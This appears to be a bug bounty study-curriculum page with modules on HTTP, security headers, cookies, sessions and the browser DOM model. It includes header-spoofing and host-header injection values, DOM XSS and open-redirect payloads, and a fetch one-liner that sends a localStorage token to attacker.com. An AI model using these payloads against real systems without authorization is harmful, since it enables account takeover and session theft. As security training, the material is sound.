$ academy/overview
4 phases 24 modules
bug bounty study program

Not a course.
A curriculum.

Progressive study from core web fundamentals to specialized bug hunting. Each module builds on the last. No gaps, no shortcuts.

your starting point
assumed knowledge — what you already have
Offensive mindset
Burp Suite / Caido
Basic recon
Some APIs / auth / XSS
Good tampering intuition
Basic–intermediate practice
the four phases
Phase 1 Core Web — The foundation everyone assumes they have
HTTP internals, browser security model, SOP, CORS, CSRF, cookies, sessions, storage and cache. The layer where most hunters have gaps.
1.1 HTTP1.2 Headers1.3 Cookies1.4 Sessions1.5 Browser1.6 SOP1.7 CORS1.8 CSRF1.9 Storage1.10 Cache
Phase 2 Auth & APIs — Where the money is
JWT, OAuth, REST, GraphQL, multi-tenant architecture and authorization logic. The classes that consistently produce high-severity findings.
2.1 JWT2.2 OAuth2.3 REST2.4 GraphQL2.5 Multi-tenant2.6 Auth logic
Phase 3 Vulnerabilities — Real offensive hunting
BAC, IDOR, workflow abuse, XSS, DOM XSS, client-side bugs, postMessage and CSP. Modern applications, not textbook examples.
3.1 BAC3.2 IDOR3.3 Workflow3.4 XSS3.5 DOM XSS3.6 Client-side3.7 postMessage3.8 CSP
Phase 4 Recon & Automation — Scale like a hunter
Modern recon, JS review, endpoint discovery, automation from zero, pipelines and AI-assisted workflows.
4.1 Recon4.2 JS review4.3 Discovery4.4 Automation4.5 Pipelines4.6 AI
back to overview
1.1 · Phase 1 — Core Web
HTTP Deep Dive
Phase 1 HTTP protocol request lifecycle
HTTP is the language bugs speak. An IDOR is an HTTP object with broken access control. A CSRF is an HTTP request that shouldn't be possible. If you don't have the right mental model for how HTTP works at a low level, you're hunting with half your vision.
core concepts
How HTTP works internally

HTTP is a stateless request-response protocol over TCP. Every request has an exact structure: METHOD /path HTTP/1.1\r\n, then headers, then \r\n\r\n (the critical separator), then optional body. HTTP/2 uses binary frames but Burp translates it — your workflow doesn't change.

HTTP methods that matter for hunting

GETNo body. Idempotent. But many APIs accept params in body anyway.


PUTReplaces the full resource. Very interesting for IDOR.


PATCHPartial modification. Even more interesting for IDOR.


DELETEAlways test if it works without auth.


OPTIONSCORS negotiation. Reveals what methods the server allows.


Hunter thought: Try PUT /api/users/123 instead of GET. Many backends implement the happy path (GET, POST) but forget to protect less common verbs.

Status codes that matter

401Unauthenticated. No token.
403Authenticated but no permission. THE difference from 401.
404Or is it a 403 disguised? Many backends do this.
500Note what input caused it.


Differential error: If /api/documents/456 returns 403 but /api/documents/9999 returns 404, you confirmed ID 456 exists. That's user enumeration via status code oracle.

Where bugs live in the request lifecycle

Most BAC/IDOR bugs live in the gap between authorization middleware and business logic. The middleware checks 'can you access documents?' but the business logic accepts documentId without verifying that document belongs to you.


Browser → CDN/WAF → LB → Auth MWAuthz MW → Routing → Business logic → DB
The gap between Authz MW and Business logic is where most bugs live.

real http requests
modern SPA request
POST /api/v2/documents/transfer HTTP/1.1 Host: app.target.com Authorization: Bearer eyJhbGciOiJSUzI1NiJ9... Content-Type: application/json Origin: https://app.target.com {"documentId": "doc_abc123", "targetUserId": "usr_xyz789"}
response with information leakage
HTTP/1.1 200 OK Server: nginx/1.18.0 ← leaks stack X-Powered-By: Express ← leaks framework {"success":true,"document":{"id":"doc_abc123","owner":"usr_xyz789", "previousOwner":"usr_original"}} ← unrequested field
what backends get wrong
Trusting X-Forwarded-For and similar headers

Many backends use X-Forwarded-For for rate limiting, geolocation, or IP whitelist bypass. Test:


X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
True-Client-IP: 10.0.0.1

Host header used in URL construction

If the server uses Host to build password reset links or confirmation emails, change it to your domain:


Host: evil.attacker.com

Validating Content-Type but not the body

If the WAF only filters JSON but the backend accepts form data, you can bypass protections. Try switching:


Content-Type: application/x-www-form-urlencoded
Content-Type: multipart/form-data

hunting checklist
hunter mindset
🔍
Every response is evidence
A 403 vs 404 tells you different things. A 500 tells you what input the backend doesn't handle. Read every status code as data.
The UI is not the API
The browser shows what developers want you to see. The API accepts what the backend handles. These are different surfaces.
🎯
Think in layers
A WAF, a proxy, and a backend can interpret the same request differently. That gap is where bugs live.
🔧
Vary one thing at a time
Method, header, content-type, parameter — one variable per request. Otherwise you don't know what caused the behavior.
useful mini script
python http_recon.py
import requests, sys TARGET = sys.argv[1] if len(sys.argv) > 1 else "https://httpbin.org/" LEAK = ["Server","X-Powered-By","X-AspNet-Version","Via","X-Varnish"] SEC = ["Strict-Transport-Security","Content-Security-Policy", "X-Content-Type-Options","X-Frame-Options"] VERBS = ["GET","POST","PUT","PATCH","DELETE","OPTIONS","HEAD"] r = requests.get(TARGET, timeout=10, allow_redirects=False) print(f"Status: {r.status_code}\n") print("[ leakage headers ]") for h in LEAK: if h.lower() in {k.lower() for k in r.headers}: print(f" {h}: {r.headers.get(h)}") print("\n[ missing security headers ]") for h in SEC: if h.lower() not in {k.lower() for k in r.headers}: print(f" MISSING: {h}") print("\n[ verb responses ]") for v in VERBS: try: resp = requests.request(v, TARGET, timeout=5, allow_redirects=False) print(f" {v:10} → {resp.status_code}") except: print(f" {v:10} → ERROR")
assessment — answer to reveal
Q1 /api/documents/456 returns 403. /api/documents/9999 returns 404. What did you learn and how do you use it?
ID 456 exists — the server knows about it and actively denies access. Use this to: (1) enumerate valid IDs by looking for 403s vs 404s, (2) confirm a target resource exists before attempting IDOR, (3) build a map of existing IDs. The backend leaks existence information through error code choice.
Q2 A request includes X-Forwarded-For: 10.0.0.1. What offensive possibilities and what do you test first?
Possibilities: (1) rate limiting bypass — try 127.0.0.1 to appear as localhost, (2) IP whitelist bypass — internal IPs may have elevated privileges, (3) geolocation bypass. Test first: change to 127.0.0.1 and look for any behavioral difference. Even a subtle change in rate limit headers confirms the backend uses this value.
Q3 POST /api/users/update accepts application/json. Give 3 concrete HTTP-related steps to test it.
1 — Verb tampering: try GET, PUT, PATCH, DELETE on the same path. A 405 vs 403 tells you different things. 2 — Content-Type switch: resend as application/x-www-form-urlencoded and multipart/form-data. If accepted, you have a WAF bypass vector. 3 — Response field analysis: every undocumented field in the JSON response (role, is_admin, internal_id) is a mass assignment candidate — send them in the next POST and see if they persist.
back to overview
1.2 · Phase 1 — Core Web
Security Headers
Phase 1 headers security browser policy
Headers are the meta-layer of HTTP. They configure how browsers interpret responses, what origins can communicate with what, and how much information servers leak about themselves. For hunters, headers are both a source of bugs and a map of the target's security posture.
core concepts
Request headers vs response headers

Request headers go from client to server — they tell the server who is asking, what format they accept, where they came from, and what credentials they carry. Response headers go from server to client — they tell the browser how to interpret and handle the response.


Hunter angle: Request headers you control are attack vectors. Response headers the server sends are information leakage and security posture signals.

Information leakage headers — what backends expose

These headers reveal the server's stack and should not be present in production:


Server: nginx/1.18.0web server version
X-Powered-By: Expressframework
X-AspNet-Version: 4.0.30319.NET version
X-Generator: Drupal 9CMS version
Via: 1.1 varnishcache layer
X-Varnish: 12345678Varnish cache ID


Why it matters: these headers tell you what CVEs to look for, what CMS plugins exist, what framework quirks to exploit, and how the infrastructure is layered.

Security headers — what should be there but often isn't

Content-Security-Policycontrols what resources the browser can load. Absence = XSS is easier to exploit. Weak policy = bypass vectors.


X-Frame-Optionsprevents the page from being embedded in iframes. Absence = clickjacking possible.


X-Content-Type-Options: nosniffprevents the browser from MIME-sniffing responses. Absence = content-type confusion attacks.


Strict-Transport-Securityforces HTTPS. Absence on HTTPS sites = downgrade attacks possible.


Referrer-Policycontrols what URL is sent in the Referer header. Absence = sensitive URLs may leak to third parties.


Permissions-Policycontrols browser features (camera, geolocation, etc.). Absence = features accessible when they shouldn't be.

Headers you control as an attacker

These are the most useful request headers to tamper with during hunting:


Hostif the server uses this to build URLs (password resets, redirects), you can hijack tokens.


X-Forwarded-For / X-Real-IPIP spoofing for rate limit bypass, whitelist bypass, geofencing bypass.


Originkey for CORS testing. Change to attacker.com and see if ACAO reflects it.


Referersome backends use this for access control ('only allow requests from our own pages'). Spoof it.


Content-Typeswitching between JSON / form-data / multipart can bypass WAF filters or trigger different parsing logic.


X-HTTP-Method-Overrideverb tunneling. A POST with this header can behave like a DELETE, bypassing method-level middleware.


Accept-Languagesometimes triggers different code paths (localized content, different auth logic). Worth varying.

CSP deep dive — the header that contains XSS

Content-Security-Policy is complex enough to deserve its own module (3.8), but you need to be able to read it now. A CSP defines which sources are trusted for scripts, styles, images, etc.


Weak CSP patterns to look for:


script-src 'unsafe-inline'inline scripts allowed. XSS payloads work directly.
script-src 'unsafe-eval'eval() allowed. Many XSS bypass techniques work.
script-src *wildcard. Any external script allowed.
script-src cdn.example.comif cdn.example.com has JSONP or Angular, it's bypassable.


No CSP at all is obviously bad — but a misconfigured CSP is almost worse because it creates a false sense of security.

real header examples
bad production response — leakage + missing security
HTTP/1.1 200 OK Server: Apache/2.4.51 (Ubuntu) ← CVE surface X-Powered-By: PHP/8.0.12 ← PHP version exposed X-Generator: WordPress 6.1 ← CMS exposed Content-Type: text/html; charset=UTF-8 ← No CSP, no X-Frame-Options, no HSTS, no X-Content-Type-Options ← This page is frameable, MIME-sniffable, and XSS-exploitable
good production response — hardened
HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123' X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin Permissions-Policy: camera=(), microphone=(), geolocation=() ← Stack hidden. CSP with nonce. Not frameable. Not MIME-sniffable.
CORS headers — what to look for
HTTP/1.1 200 OK Access-Control-Allow-Origin: https://attacker.com ← reflected origin Access-Control-Allow-Credentials: true ← credentialed! ← Vary: Origin is missing → no cache protection ← This is SIG-0007 from the workstation. Promotable.
what backends get wrong
Setting security headers in the wrong layer

A common pattern: the CSP or HSTS is set in the application code, but a CDN or reverse proxy strips it before reaching the client. Test by hitting the origin directly (bypass CDN) and comparing headers.


Also common: the Vary header is set by the app but stripped by the CDN, invalidating the CORS protection.

CSP report-only mode left in production

Content-Security-Policy-Report-Only tells the browser to log violations but not enforce them. It's for testing. When left in production, it provides zero protection — the XSS still executes.


If you see this header, treat the page as if it had no CSP.

Trusting Referer for access control

Some backends check the Referer header to confirm the request came from their own frontend. This is bypassable in two seconds:


Referer: https://legitimate-app.com/dashboard


The Referer header is client-controlled. Never a security boundary.

Cache-Control misconfiguration on sensitive endpoints

Sensitive endpoints (profile data, tokens, financial info) should have:


Cache-Control: no-store, no-cache, private


When missing, the response may be cached by shared proxies, CDNs or the browser itself — leaking the data to the next user on a shared machine or network.

hunting checklist
hunter mindset
🗺️
Headers are a map
Before touching a single endpoint, read all response headers. They tell you the stack, the security posture, and what attack classes are viable.
🎭
You control more than you think
Origin, Referer, Host, X-Forwarded-For, Content-Type, Accept-Language — all client-controlled. If the server trusts any of them without validation, that's your attack vector.
🔬
Absent headers are findings too
A missing X-Frame-Options on an authenticated page is a clickjacking finding. A missing Cache-Control on a sensitive endpoint is an information disclosure finding. You don't only hunt for what's there.
🧅
Headers differ between layers
What the CDN sends and what the origin sends are often different. Always test both. A security header present at the CDN layer but absent at origin is a real bypass path.
useful mini script
python header_audit.py — full header security audit
import requests, sys, json TARGET = sys.argv[1] if len(sys.argv) > 1 else "https://httpbin.org/" LEAK = { "Server": "web server version", "X-Powered-By": "framework/language", "X-AspNet-Version": ".NET version", "X-Generator": "CMS/generator", "Via": "proxy/cache layer", "X-Varnish": "Varnish cache", "X-Drupal-Cache": "Drupal CMS", "X-Magento-Tags": "Magento CMS", } SEC_REQUIRED = { "Strict-Transport-Security": "HSTS — force HTTPS", "Content-Security-Policy": "CSP — XSS mitigation", "X-Frame-Options": "Clickjacking protection", "X-Content-Type-Options": "MIME sniffing protection", "Referrer-Policy": "Referer leakage control", "Permissions-Policy": "Browser feature control", } CORS_HEADERS = [ "Access-Control-Allow-Origin", "Access-Control-Allow-Credentials", "Access-Control-Allow-Methods", "Vary", ] def audit(url): headers_lower = {} try: r = requests.get(url, timeout=10, allow_redirects=False, headers={"Origin": "https://attacker.example.com"}) headers_lower = {k.lower(): v for k, v in r.headers.items()} print(f"\n[{r.status_code}] {url}\n") except Exception as e: print(f"Error: {e}"); return print("[ LEAKAGE HEADERS ]") found_any = False for h, desc in LEAK.items(): val = headers_lower.get(h.lower()) if val: print(f" ⚠ {h}: {val} ({desc})") found_any = True if not found_any: print(" ✓ None found") print("\n[ MISSING SECURITY HEADERS ]") for h, desc in SEC_REQUIRED.items(): if h.lower() not in headers_lower: print(f" ✗ {h} — {desc}") else: val = headers_lower[h.lower()] # flag report-only CSP if h == "Content-Security-Policy": if "report-only" in val.lower(): print(f" ⚠ CSP is report-only (no enforcement!): {val[:80]}") elif "unsafe-inline" in val or "unsafe-eval" in val: print(f" ⚠ CSP has unsafe directives: {val[:80]}") else: print(f" ✓ {h}") else: print(f" ✓ {h}") print("\n[ CORS HEADERS ]") for h in CORS_HEADERS: val = headers_lower.get(h.lower()) if val: flag = "⚠ " if h == "Access-Control-Allow-Origin" and val not in ["null","*"] else " " print(f" {flag}{h}: {val}") # Check CSP report-only if "content-security-policy-report-only" in headers_lower: print("\n ⚠ Content-Security-Policy-Report-Only present — no enforcement!") audit(TARGET)
assessment — click to reveal answers
Q1 A response includes Content-Security-Policy-Report-Only: default-src 'self'. You find an XSS injection point. Does the CSP stop your XSS? Why?
No. Report-Only mode logs violations but does not enforce them. The browser will send a violation report to the configured endpoint (if any) but will still execute the script. Treat this page as having no CSP. This is a real finding — report that the CSP is not being enforced and therefore provides no XSS mitigation.
Q2 You send Origin: https://attacker.com to an authenticated API endpoint and get back Access-Control-Allow-Origin: https://attacker.com and Access-Control-Allow-Credentials: true. What's the impact and what do you need to confirm before reporting?
Impact: an attacker-controlled page can make credentialed cross-origin requests to this API and read the response — meaning any data this endpoint returns (user data, tokens, internal info) is exposed to the attacker. Before reporting, confirm: (1) the endpoint actually returns sensitive data, (2) the browser will send credentials under realistic navigation (cookies exist for the domain, not just Bearer tokens in JS), (3) Vary: Origin is missing so there's no cache protection. This maps to SIG-0007 in the workstation.
Q3 A target's CDN response has X-Frame-Options: DENY. You bypass the CDN and hit the origin directly. The header is missing. Is this a finding? What's the attack?
It depends. The protection only matters if the browser enforces it — and browsers talk to the CDN, not the origin. So if the CDN consistently adds the header, end users are protected. However, this is still a finding for two reasons: (1) it indicates the security posture is applied at infrastructure level not application level, which is fragile — any CDN misconfiguration or direct-to-origin path bypasses it, (2) if there's any way to reach the origin directly (IP leakage, alternative hostnames, etc.) clickjacking is possible. Report it as a defense-in-depth issue. The attack: embed the target in an invisible iframe on an attacker page and trick the user into clicking on UI elements that perform actions.
Q4 You intercept a password reset email request. The app uses the Host header to build the reset link. What do you send and what happens?
Send Host: attacker.com in the password reset request. If the app trusts the Host header to construct the reset URL without validation, it will generate a link like https://attacker.com/reset?token=SECRET and email it to the victim. When the victim clicks it, your server receives the token. You use the token against the real app to take over the account. This is Host Header Injection leading to account takeover — a critical finding. To confirm without actually intercepting a real user's email, test against your own account.
back to overview
1.3 · Phase 1 — Core Web
Cookies
Phase 1 cookies auth session fixation
Cookies are the primary transport layer for auth tokens in traditional web apps. Understanding every attribute — not just HttpOnly and Secure — is what separates hunters who miss auth bugs from hunters who find them.
core concepts
How cookies work internally

The server sends Set-Cookie in the response. The browser stores it and attaches it automatically to every subsequent request matching the domain and path. The key word is automatically — the browser does this with no JS intervention, which is exactly what makes CSRF possible.

Every attribute and its security impact

HttpOnlyBlocks document.cookie. Stops XSS from stealing the cookie directly. But doesn't stop CSRF.


SecureTransmit over HTTPS only. Without this, the cookie travels in cleartext over HTTP.


SameSite=StrictOnly sent on same-site navigations. No cross-site requests at all.


SameSite=LaxSent on top-level navigations (clicking a link) but NOT on cross-site subresources. Default in modern browsers. Mitigates most CSRF but not all.


SameSite=NoneAlways sent. Requires Secure. Needed for legitimate cross-site usage (iframes, embeds). Classic CSRF territory.


DomainIf set to .example.com, the cookie is sent to all subdomains. A subdomain takeover can steal the cookie.


PathScopes the cookie to a path. Often ignored by hunters — but /api and /admin having different Path cookies is interesting.


Expires / Max-AgeNo expiry = session cookie (disappears on browser close). Long expiry = persistent. Long-lived auth cookies are bigger impact for account takeover bugs.

Cookie scope: domain vs subdomain

A cookie set on api.example.com without a Domain attribute is only sent to api.example.com. If Domain=.example.com is set, it goes to every subdomain. This matters: a wildcard cookie scope plus a subdomain takeover on any subdomain = session cookie theft.

Session fixation: underrated and often missed

Session fixation happens when the app doesn't rotate the session token after login. Flow: (1) Attacker gets a pre-auth session token. (2) Tricks victim into using that token. (3) Victim logs in. (4) Attacker now has an authenticated session. The fix is trivial: generate a new session ID on every privilege change.

real http requests
secure cookie set — correct implementation
HTTP/1.1 200 OK Set-Cookie: session=eyJhbGciOiJIUzI1NiJ9...; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600 ← All four key attributes present. SameSite=Lax protects against most CSRF.
insecure cookie — multiple issues
HTTP/1.1 200 OK Set-Cookie: session=abc123; Domain=.example.com; Path=/ ← No HttpOnly (XSS can steal it) ← No Secure (sent over HTTP) ← No SameSite (CSRF possible) ← Domain=.example.com (all subdomains get this cookie)
session fixation — no token rotation
// Before login: GET /login HTTP/1.1 Cookie: session=ATTACKER_CONTROLLED_TOKEN // After login — BUG: same token, now authenticated HTTP/1.1 302 Found Set-Cookie: session=ATTACKER_CONTROLLED_TOKEN ← Token should have changed here. This is the bug.
hunting checklist
what backends get wrong
Not rotating session token on login

The most common session fixation pattern. The backend reuses the pre-auth session ID after login. Fix: always invalidate and reissue on any privilege escalation event.

Setting Domain=.example.com by default for convenience

Developers set the wildcard domain for SSO or subdomain sharing. They often don't audit all subdomains. A forgotten staging.example.com pointing somewhere externally controlled now has the session cookie in scope.

assessment
A login endpoint sets: Set-Cookie: auth=xyz; HttpOnly; Secure; SameSite=Lax; Domain=.example.com; Max-Age=2592000. List every security concern.
(1) Domain=.example.com sends the cookie to all subdomains — subdomain takeover = session theft. (2) Max-Age=2592000 is 30 days — very long for an auth token. (3) SameSite=Lax still allows GET-based CSRF if state-changing endpoints accept GET. (4) HttpOnly+Secure are correct. (5) No Path restriction.
You notice the session cookie value is identical before and after login. What bug is this, what's the impact, and how do you reproduce it?
Session fixation. Impact: attacker can authenticate as victim using a pre-set token. Reproduction: (1) Note pre-auth session cookie. (2) Log in. (3) Same value? = fixation. (4) Demonstrate: second browser with pre-auth token becomes authenticated after victim logs in.
back to overview
1.4 · Phase 1 — Core Web
Sessions
Phase 1 sessions server-side state JWT
Sessions are how web apps maintain state across HTTP's statelessness. The two dominant models — server-side sessions and stateless tokens — have completely different attack surfaces.
core concepts
Server-side sessions vs stateless tokens

Server-side: the server stores session state in memory or DB. The client holds only an opaque random ID — a pointer. Invalidation is instant: delete the record.


Stateless (JWT): all state is encoded in the token itself, signed but not encrypted by default. The server validates the signature and reads the payload — no DB lookup needed. You can't invalidate a token without a blocklist.

Session lifecycle as attack surface

Creation (login) — token generated here. Bug: predictable token, no rotation from pre-auth state (fixation).

Transport — sent via cookie or Authorization header. Bug: missing HttpOnly/Secure, token in URL params.

Validation — server checks the token. Bug: accepting expired tokens, missing signature validation, trusting client-supplied role claims.

Invalidation (logout) — Bug: only client-side deletion, server still accepts old token.

Session token entropy and predictability

A good session token is cryptographically random with enough entropy to make brute force infeasible. Red flags: sequential IDs, timestamps as tokens, base64-encoded predictable data, tokens under 128 bits. Collect 20 tokens and look for patterns.

Where tokens live: cookie vs localStorage vs memory

Cookie (HttpOnly)JS can't read it. Sent automatically. Protected from XSS token theft. Vulnerable to CSRF. Best default.


localStorageJS can read it freely. Not auto-sent. CSRF-safe. But a single XSS = complete token exfiltration: fetch('//attacker.com/?t='+localStorage.getItem('token')).


MemoryGone on tab close. Harder to steal. Used in high-security SPAs but impractical for most apps.

real http requests
login with proper session rotation
POST /api/auth/login HTTP/1.1 Content-Type: application/json {"email":"user@example.com","password":"..."} --- HTTP/1.1 200 OK Set-Cookie: session=NEW_RANDOM_TOKEN; HttpOnly; Secure; SameSite=Lax ← Token changed from pre-auth value. Correct.
logout — client-side only (broken)
POST /api/auth/logout HTTP/1.1 Cookie: session=abc123xyz --- HTTP/1.1 200 OK Set-Cookie: session=; Max-Age=0 ← Cookie cleared client-side. But is abc123xyz still valid server-side? ← Test: manually send Cookie: session=abc123xyz after logout. ← If you get a 200, the server never invalidated it. This is the bug.
hunting checklist
what backends get wrong
Logout only clears the client-side cookie

The frontend clears the cookie, the backend returns 200, but never invalidates the token server-side. The old token is permanently valid. Test: save the cookie before logout, replay it after.

Trusting role/permission claims in JWTs without re-validation

The JWT payload contains role claims. The backend checks the signature but uses payload.role directly for authorization — if signature validation is weak (alg:none), it is full privilege escalation. Covered in depth in module 2.1.

assessment
You log out of an app. The browser shows you're logged out. You open Burp, resend the last authenticated request with the old session cookie. You get a 200 with your user data. What's the bug, severity, and how do you report it?
Bug: session not invalidated server-side on logout. Severity: Medium-High — on its own moderate impact, but chained with any session interception vector extends attacker access indefinitely. Report: show the pre-logout token, the post-logout 200 response, and note the token remains valid with no observed expiry.
back to overview
1.5 · Phase 1 — Core Web
Browser Model
Phase 1 DOM rendering pipeline browser internals
Most client-side bugs live in the gap between how developers think the browser works and how it actually works. DOM XSS, prototype pollution, clickjacking, open redirects — all require understanding the browser's internal model.
core concepts
The browser rendering pipeline

Network request → HTML parsing → DOM construction → CSS → Render tree → Layout → Paint. The critical moment: HTML parsing is where the browser decides what is markup vs content. XSS is fundamentally a parsing problem — attacker-controlled data interpreted as markup.

The DOM: what it is and why it matters

The DOM is the browser's live in-memory representation of the page as a tree. JS can read and modify it at runtime. Key: innerHTML, document.write(), and eval() are DOM sinks — they interpret strings as HTML/JS. Attacker-controlled data reaching a sink = DOM XSS.

Sources and sinks: the DOM XSS mental model

Sources — where attacker-controlled data enters JS: location.hash, location.search, document.referrer, window.name, postMessage data.


Sinks — where data gets executed as HTML/JS: innerHTML, outerHTML, document.write(), eval(), setTimeout(string), location.href= (open redirect/XSS), element.src=.


DOM XSS = source → no sanitization → sink. The server never sees the payload.

Browser security boundaries: origins and frames

The primary security boundary is the origin (scheme + host + port). Cross-origin iframes can't read the parent's DOM. But: postMessage can cross origins (misconfigurations = module 3.7), clickjacking exploits visual overlay without read access, and window.open() gives opener handles.

JavaScript execution contexts

Every page has a global execution context (window). Scripts from different origins don't share it. Service workers run separately with network interception capability — often overlooked attack surface. Prototype pollution: modifying Object.prototype in the global context affects all objects on the page.

real scenarios
DOM XSS via location.hash
// Vulnerable code in app JS: const tab = location.hash.slice(1); // source: location.hash document.getElementById('content').innerHTML = tab; // sink: innerHTML // Payload URL: https://app.example.com/dashboard#<img src=x onerror=alert(1)> // Server never sees the payload — it's after the # // No server-side WAF or filter will catch this
open redirect via location.href sink
// Vulnerable code: const next = new URLSearchParams(location.search).get('next'); location.href = next; // sink: location.href // Payload: https://app.example.com/login?next=//evil.com // Or for XSS: https://app.example.com/login?next=javascript:alert(1)
hunting checklist
assessment
You find this code in a minified JS bundle: t=location.hash.substring(1),document.querySelector('#msg').innerHTML=decodeURIComponent(t). Is this exploitable? What's the payload? What's the impact?
Yes. Source: location.hash. Sink: innerHTML. No sanitization. Payload: #%3Cimg%20src%3Dx%20onerror%3Dalert(document.cookie)%3E. Impact: DOM XSS — hash-based so no server-side filter catches it. If cookies are not HttpOnly = full session theft.
What is the difference between reflected XSS, stored XSS, and DOM XSS from a hunting perspective — specifically where you look and what tools catch each?
Reflected: payload in request, server echoes it back — find by injecting in inputs, scanners catch most. Stored: payload saved to DB, renders for all users — inject in persistent fields (profile, comments), higher severity. DOM: payload never reaches server — only found via JS source review, scanners miss most of it, use DOM Invader in Burp.
back to overview
Module in progress
This module is being written. Start with 1.1 if you haven't yet — each module builds on the last.